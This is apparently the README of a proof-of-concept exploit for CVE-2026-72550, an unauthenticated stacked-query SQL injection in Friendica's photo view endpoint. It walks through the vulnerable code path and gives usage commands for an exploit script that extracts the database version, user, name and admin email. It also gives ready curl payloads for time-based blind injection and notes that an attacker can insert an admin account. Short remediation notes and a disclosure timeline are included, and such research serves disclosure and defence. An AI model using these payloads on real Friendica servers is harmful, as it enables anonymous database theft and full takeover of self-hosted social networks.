
CVE-2026-72550 — PoC de inyección SQL de consultas apiladas no autenticada en Friendica (CVSS 9.8 Crítico)
La inyección SQL de consultas apiladas no autenticada en el endpoint de fotos de Friendica permite que cualquier visitante ejecute SQL arbitrario.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-72550 |
| Producto | Friendica (red social federada autoalojada) |
| Afectado | <= 2026.08-dev (git HEAD e3fc1bc) |
| Tipo | CWE-89: Inyección SQL (no autenticada, consultas apiladas) |
| Gravedad | Crítica — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticación requerida | Ninguna |
El endpoint de vista de fotos en Friendica toma el parámetro de consulta order y lo concatena, sin escapar, en una sentencia SHOW COLUMNS ... LIKE '...' que se ejecuta mediante un PDO::query() sin protección — lo que permite múltiples sentencias. No se requiere inicio de sesión y, en una instalación estándar (block_public está desactivado por defecto), cualquier foto visible públicamente es suficiente. Debido a que PDO::query() ejecuta sentencias apiladas, un atacante anónimo no solo lee datos: ejecuta SQL arbitrario, incluidos INSERT/UPDATE para crear un usuario administrador.
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
La ruta de solicitud predeterminada llega a este código: $cmd tiene como valor predeterminado 'view' (satisfaciendo la condición $cmd === 'view') y no_count está desactivado, por lo que no se necesita autenticación ni ninguna configuración no predeterminada.
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
No se necesitan cookies ni autenticación. Apunta a cualquier resource-id de una foto pública:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
Payload decodificado: x';SELECT SLEEP(5)-- -
El SQL inyectado queda así:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
Un atacante no autenticado puede:
INSERT INTO userEsto es un compromiso total de la base de datos alcanzable por cualquier visitante anónimo en una instalación predeterminada de Friendica.
order contra la lista blanca de columnas conocidas antes de usarloSHOW COLUMNSPDO::ATTR_EMULATE_PREPARES => false)| Fecha | Evento |
|---|---|
| 2026-07-07 | Vulnerabilidad descubierta y confirmada en una instancia local |
| 2026-08-11 | CVE-2026-72550 publicado a través de TuranSec CNA |
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsala solo contra sistemas que te pertenezcan o para los que tengas permiso escrito explícito para realizar pruebas. El autor no asume ninguna responsabilidad por el mal uso.
Descubierto por Bobur Abdugafforov (@abdugafforov-bobur)
CVE asignado a través del CNA de TuranSec
| Indicador | Descripción |
|---|
-u / --url | URL base del objetivo (p. ej. http://target:8176) |
-r / --user | Nombre de usuario cuya galería de fotos se va a atacar |
-i / --resource-id | ID de recurso de cualquier foto visible públicamente |
--extract | Valor a extraer: version, db_user, db_name, admin_email |
--check-only | Solo probar la vulnerabilidad, no extraer datos |
--sleep | Retardo de SLEEP en segundos (por defecto: 5) |